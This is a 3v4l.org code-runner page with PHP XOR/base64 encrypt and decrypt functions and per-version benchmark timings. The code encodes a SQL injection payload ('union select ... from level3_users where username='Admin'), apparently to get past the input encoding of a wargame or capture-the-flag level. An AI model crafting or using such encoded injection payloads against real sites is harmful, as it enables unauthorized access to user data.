3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4,name from level3_users where username='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0090.00618.48
8.3.60.0030.01718.68
8.3.50.0070.01122.05
8.3.40.0140.00718.66
8.3.30.0140.00319.17
8.3.20.0040.00420.16
8.3.10.0040.00422.02
8.3.00.0040.00422.27
8.2.190.0040.01116.75
8.2.180.0110.01116.63
8.2.170.0120.00622.96
8.2.160.0150.00320.53
8.2.150.0080.00024.18
8.2.140.0060.00324.66
8.2.130.0090.00026.16
8.2.120.0040.00419.36
8.2.110.0040.00422.11
8.2.100.0100.00319.45
8.2.90.0000.00819.18
8.2.80.0000.00917.97
8.2.70.0000.00817.50
8.2.60.0040.00418.04
8.2.50.0000.00918.07
8.2.40.0080.00018.16
8.2.30.0040.00418.21
8.2.20.0090.00017.76
8.2.10.0090.00019.45
8.2.00.0030.00517.88
8.1.280.0090.00625.92
8.1.270.0000.00822.23
8.1.260.0000.00826.35
8.1.250.0000.00728.09
8.1.240.0040.00423.84
8.1.230.0070.00419.10
8.1.220.0080.00017.80
8.1.210.0040.00418.77
8.1.200.0100.00017.22
8.1.190.0040.00417.41
8.1.180.0000.00818.10
8.1.170.0080.00018.50
8.1.160.0030.00721.76
8.1.150.0020.00518.63
8.1.140.0050.00217.44
8.1.130.0000.00717.91
8.1.120.0070.00017.31
8.1.110.0040.00417.44
8.1.100.0040.00417.46
8.1.90.0040.00417.48
8.1.80.0050.00217.34
8.1.70.0000.00717.39
8.1.60.0060.00317.59
8.1.50.0050.00217.45
8.1.40.0080.00017.55
8.1.30.0070.00017.71
8.1.20.0000.00817.63
8.1.10.0040.00417.51
8.1.00.0040.00417.42
8.0.300.0090.00018.77
8.0.290.0040.00417.18
8.0.280.0030.00318.54
8.0.270.0070.00017.21
8.0.260.0040.00416.87
8.0.250.0030.00316.93
8.0.240.0030.00616.89
8.0.230.0000.00716.92
8.0.220.0040.00416.93
8.0.210.0030.00316.90
8.0.200.0050.00216.96
8.0.190.0020.00517.06
8.0.180.0040.00416.84
8.0.170.0040.00417.04
8.0.160.0050.00216.94
8.0.150.0040.00416.85
8.0.140.0000.00716.80
8.0.130.0000.00613.45
8.0.120.0000.00716.93
8.0.110.0050.00316.83
8.0.100.0040.00416.82
8.0.90.0050.00316.82
8.0.80.0050.01516.89
8.0.70.0020.00516.80
8.0.60.0050.00316.92
8.0.50.0050.00216.80
8.0.30.0080.01217.09
8.0.20.0040.01417.40
8.0.10.0080.00016.84
8.0.00.0120.01116.82
7.4.330.0030.00315.09
7.4.320.0030.00316.54
7.4.300.0030.00316.69
7.4.290.0070.00016.54
7.4.280.0070.00016.63
7.4.270.0070.00016.57
7.4.260.0030.00316.61
7.4.250.0030.00616.49
7.4.240.0020.00516.58
7.4.230.0020.00516.67
7.4.220.0030.01416.52
7.4.210.0080.00916.56
7.4.200.0070.00016.46
7.4.190.0000.00716.60
7.4.160.0120.00316.27
7.4.150.0140.00317.40
7.4.140.0080.00917.86
7.4.130.0150.00516.59
7.4.120.0110.00616.71
7.4.110.0130.01216.47
7.4.100.0120.00916.68
7.4.90.0070.01016.60
7.4.80.0130.00619.39
7.4.70.0130.00316.55
7.4.60.0090.00916.48
7.4.50.0080.00016.44
7.4.40.0130.00322.77
7.4.30.0070.01016.61
7.4.10.0030.01714.74
7.4.00.0040.01114.99
7.3.330.0030.00513.40
7.3.320.0000.00613.20
7.3.310.0070.00016.46
7.3.300.0030.00316.26
7.3.290.0060.01016.38
7.3.280.0070.01016.36
7.3.270.0120.00617.40
7.3.260.0120.00616.46
7.3.250.0120.00516.53
7.3.240.0070.01016.44
7.3.230.0100.01016.42
7.3.210.0100.01016.39
7.3.200.0060.01219.39
7.3.190.0130.01016.47
7.3.180.0160.00616.57
7.3.170.0100.00716.34
7.3.160.0120.00316.40
7.3.130.0040.01514.62
7.3.120.0050.01214.87
7.3.110.0110.01114.85
7.3.100.0000.01114.68
7.3.90.0040.01214.91
7.3.80.0000.01314.56
7.3.70.0040.00814.88
7.3.60.0080.01414.60
7.3.50.0070.01214.80
7.3.40.0110.00414.80
7.3.30.0030.00814.90
7.3.20.0090.00616.43
7.3.10.0030.01316.84
7.3.00.0060.00916.54
7.2.330.0110.00516.88
7.2.320.0100.01416.83
7.2.310.0170.00616.75
7.2.300.0060.01316.72
7.2.290.0150.00716.78
7.2.260.0030.01615.16
7.2.250.0030.01515.17
7.2.240.0100.00315.15
7.2.230.0040.01115.23
7.2.220.0030.00615.13
7.2.210.0030.01214.67
7.2.200.0050.00515.05
7.2.190.0070.00715.14
7.2.180.0030.01414.71
7.2.170.0070.01014.98
7.2.160.0040.01114.93
7.2.150.0030.00916.84
7.2.140.0100.01016.88
7.2.130.0060.00616.76
7.2.120.0120.00416.82
7.2.110.0040.00816.85
7.2.100.0120.00316.93
7.2.90.0040.01117.04
7.2.80.0060.01016.98
7.2.70.0100.00316.99
7.2.60.0060.00616.94
7.2.50.0080.00417.00
7.2.40.0040.01516.77
7.2.30.0090.00916.92
7.2.20.0070.01016.71
7.2.10.0070.00716.93
7.2.00.0080.00818.26
7.1.330.0090.00615.83
7.1.320.0100.00315.57
7.1.310.0040.01115.73
7.1.300.0040.00815.54
7.1.290.0150.00515.76
7.1.280.0030.01315.93
7.1.270.0070.00715.95
7.1.260.0030.00715.84
7.1.250.0070.00315.82
7.1.240.0030.01015.71
7.1.230.0100.00315.59
7.1.220.0060.01015.50
7.1.210.0030.00915.78
7.1.200.0100.00315.76
7.1.190.0060.00615.88
7.1.180.0110.00415.66
7.1.170.0000.01015.71
7.1.160.0040.01415.97
7.1.150.0040.00415.55
7.1.140.0040.00715.69
7.1.130.0070.00715.78
7.1.120.0000.01315.66
7.1.110.0060.00915.53
7.1.100.0050.01016.95
7.1.90.0000.00815.82
7.1.80.0040.01115.79
7.1.70.0070.00516.50
7.1.60.0050.00817.81
7.1.50.0070.00516.39
7.1.40.0000.01115.78
7.1.30.0000.01315.79
7.1.20.0030.00915.71
7.1.10.0030.00915.61
7.1.00.0070.03919.03
7.0.330.0050.00515.41
7.0.320.0030.01215.58
7.0.310.0070.00715.35
7.0.300.0090.00915.31
7.0.290.0090.00915.43
7.0.280.0070.00315.36
7.0.270.0040.01115.47
7.0.260.0060.00915.31
7.0.250.0000.00815.14
7.0.240.0030.01215.39
7.0.230.0030.00515.55
7.0.220.0030.00915.50
7.0.210.0040.00415.30
7.0.200.0070.00316.06
7.0.190.0060.00315.45
7.0.180.0030.00915.44
7.0.170.0000.01315.43
7.0.160.0030.00915.19
7.0.150.0000.01215.25
7.0.140.0060.04018.71
7.0.130.0070.00415.43
7.0.120.0030.00915.39
7.0.110.0060.00615.04
7.0.100.0000.01015.22
7.0.90.0040.00815.48
7.0.80.0080.00815.48
7.0.70.0070.00715.30
7.0.60.0030.05317.65
7.0.50.0050.02516.74
7.0.40.0080.03316.88
7.0.30.0050.03216.85
7.0.20.0160.04616.78
7.0.10.0170.03016.86
7.0.00.0120.01816.90
5.6.400.0120.00314.61
5.6.390.0080.00714.13
5.6.380.0070.00314.32
5.6.370.0070.00314.50
5.6.360.0090.00913.87
5.6.350.0100.01014.54
5.6.340.0080.00014.41
5.6.330.0060.00314.39
5.6.320.0120.00314.75
5.6.310.0060.00614.50
5.6.300.0030.00514.58
5.6.290.0030.00614.27
5.6.280.0040.03817.63
5.6.270.0040.00814.24
5.6.260.0060.00614.19
5.6.250.0070.00714.31
5.6.240.0000.01514.58
5.6.230.0030.01014.41
5.6.220.0030.01014.43
5.6.210.0040.04117.46
5.6.200.0030.02516.42
5.6.190.0070.03517.62
5.6.180.0110.02617.46
5.6.170.0210.02817.44
5.6.160.0080.04217.41
5.6.150.0100.02816.21
5.6.140.0120.01716.20
5.6.130.0030.02516.25
5.6.120.0100.04417.61
5.6.110.0080.04117.65
5.6.100.0050.02717.57
5.6.90.0050.02717.78
5.6.80.0070.04317.43
5.6.70.0070.00714.30
5.6.60.0060.00614.11
5.6.50.0070.01014.34
5.6.40.0030.01014.13
5.6.30.0030.01414.11
5.6.20.0070.00714.01
5.6.10.0110.00014.25
5.6.00.0000.01014.11
5.5.380.0030.01014.24
5.5.370.0030.00614.06
5.5.360.0090.00614.53
5.5.350.0210.04117.44
5.5.340.0020.03216.24
5.5.330.0070.02217.20
5.5.320.0180.04117.14
5.5.310.0140.02417.17
5.5.300.0080.04016.16
5.5.290.0050.03816.12
5.5.280.0130.03017.63
5.5.270.0050.02817.61
5.5.260.0080.04817.49
5.5.250.0140.03517.47
5.5.240.0050.02017.31
5.5.230.0030.01013.98
5.5.220.0080.00414.32
5.5.210.0070.00414.49
5.5.200.0090.00614.01
5.5.190.0070.00714.11
5.5.180.0060.00614.42
5.5.170.0000.01214.14
5.5.160.0030.01014.35
5.5.150.0040.01114.31
5.5.140.0100.00314.49
5.5.130.0000.01114.18
5.5.120.0030.01014.26
5.5.110.0060.00814.35
5.5.100.0030.00714.36
5.5.90.0100.00314.13
5.5.80.0000.00914.25
5.5.70.0060.00914.20
5.5.60.0000.01414.32
5.5.50.0040.00414.29
5.5.40.0060.00614.25
5.5.30.0080.00014.21
5.5.20.0070.00714.40
5.5.10.0030.01614.11
5.5.00.0070.01314.42
5.4.450.0070.03315.39
5.4.440.0080.03415.41
5.4.430.0120.03215.35
5.4.420.0370.03915.43
5.4.410.0070.03514.93
5.4.400.0420.00214.98
5.4.390.0350.00214.90
5.4.380.0180.02614.87
5.4.370.0120.02714.94
5.4.360.0080.03114.96
5.4.350.0100.03214.83
5.4.340.0100.03014.93
5.4.330.0040.00711.11
5.4.320.0040.02411.81
5.4.310.0040.03111.82
5.4.300.0050.02611.96
5.4.290.0050.02411.94
5.4.280.0060.01711.74
5.4.270.0070.03915.15
5.4.260.0140.02714.86
5.4.250.0100.03714.79
5.4.240.0070.03214.80
5.4.230.0050.03614.77
5.4.220.0100.03715.02
5.4.210.0120.03015.12
5.4.200.0150.03014.86
5.4.190.0060.03114.92
5.4.180.0080.03015.00
5.4.170.0030.04314.99
5.4.160.0140.03515.06
5.4.150.0020.03714.88
5.4.140.0090.02913.92
5.4.130.0060.02813.89
5.4.120.0020.03013.68
5.4.110.0050.03213.94
5.4.100.0050.03113.75
5.4.90.0100.03113.80
5.4.80.0010.03413.68
5.4.70.0070.02613.79
5.4.60.0000.03713.70
5.4.50.0020.03313.88
5.4.40.0020.03313.89
5.4.30.0090.02613.81
5.4.20.0080.02513.79
5.4.10.0090.02413.84
5.4.00.0090.02513.40
5.3.290.0050.02711.70
5.3.280.0080.03812.59
5.3.270.0050.04012.69
5.3.260.0050.04112.64
5.3.250.0080.02812.65
5.3.240.0080.03112.63
5.3.230.0110.03212.76
5.3.220.0060.02712.63
5.3.210.0050.03312.58
5.3.200.0060.04312.63
5.3.190.0060.03312.54
5.3.180.0070.03312.59
5.3.170.0030.04012.69
5.3.160.0030.03012.67
5.3.150.0100.02512.69
5.3.140.0150.02312.62
5.3.130.0080.04112.50
5.3.120.0050.03512.52
5.3.110.0070.03612.56
5.3.100.0060.03812.26
5.3.90.0050.03612.42
5.3.80.0070.03012.20
5.3.70.0100.02512.33
5.3.60.0120.03012.34
5.3.50.0050.03512.35
5.3.40.0020.03312.23
5.3.30.0050.02812.28
5.3.20.0090.02712.16
5.3.10.0080.03712.00
5.3.00.0040.03011.96
5.2.170.0100.04311.37
5.2.160.0070.03711.22
5.2.150.0070.04711.25
5.2.140.0100.04311.37
5.2.130.0070.05011.06
5.2.120.0100.04011.18
5.2.110.0130.03711.17
5.2.100.0130.04711.17
5.2.90.0030.04011.21
5.2.80.0070.04011.07
5.2.70.0030.04711.13
5.2.60.0100.03711.15
5.2.50.0100.05311.10
5.2.40.0030.04711.00
5.2.30.0030.04710.88
5.2.20.0130.03010.96
5.2.10.0130.03310.85
5.2.00.0100.04010.73
5.1.60.0130.04310.20
5.1.50.0070.04010.10
5.1.40.0030.0439.95
5.1.30.0130.04710.40
5.1.20.0100.05010.58
5.1.10.0000.04310.02
5.1.00.0030.05710.14
5.0.50.0000.0338.61
5.0.40.0030.0308.52
5.0.30.0070.0478.30
5.0.20.0030.0308.27
5.0.10.0100.0338.11
5.0.00.0030.0578.23
4.4.90.0070.0237.14
4.4.80.0100.0277.14
4.4.70.0030.0307.14
4.4.60.0000.0277.14
4.4.50.0000.0307.14
4.4.40.0070.0337.14
4.4.30.0000.0237.14
4.4.20.0030.0237.14
4.4.10.0100.0207.14
4.4.00.0030.0337.14
4.3.110.0000.0277.14
4.3.100.0030.0207.14
4.3.90.0070.0237.14
4.3.80.0070.0407.14
4.3.70.0000.0237.14
4.3.60.0030.0207.14
4.3.50.0030.0277.14
4.3.40.0070.0377.14
4.3.30.0030.0207.14
4.3.20.0100.0207.14
4.3.10.0000.0237.14
4.3.00.0030.0207.33

preferences:
42.47 ms | 401 KiB | 5 Q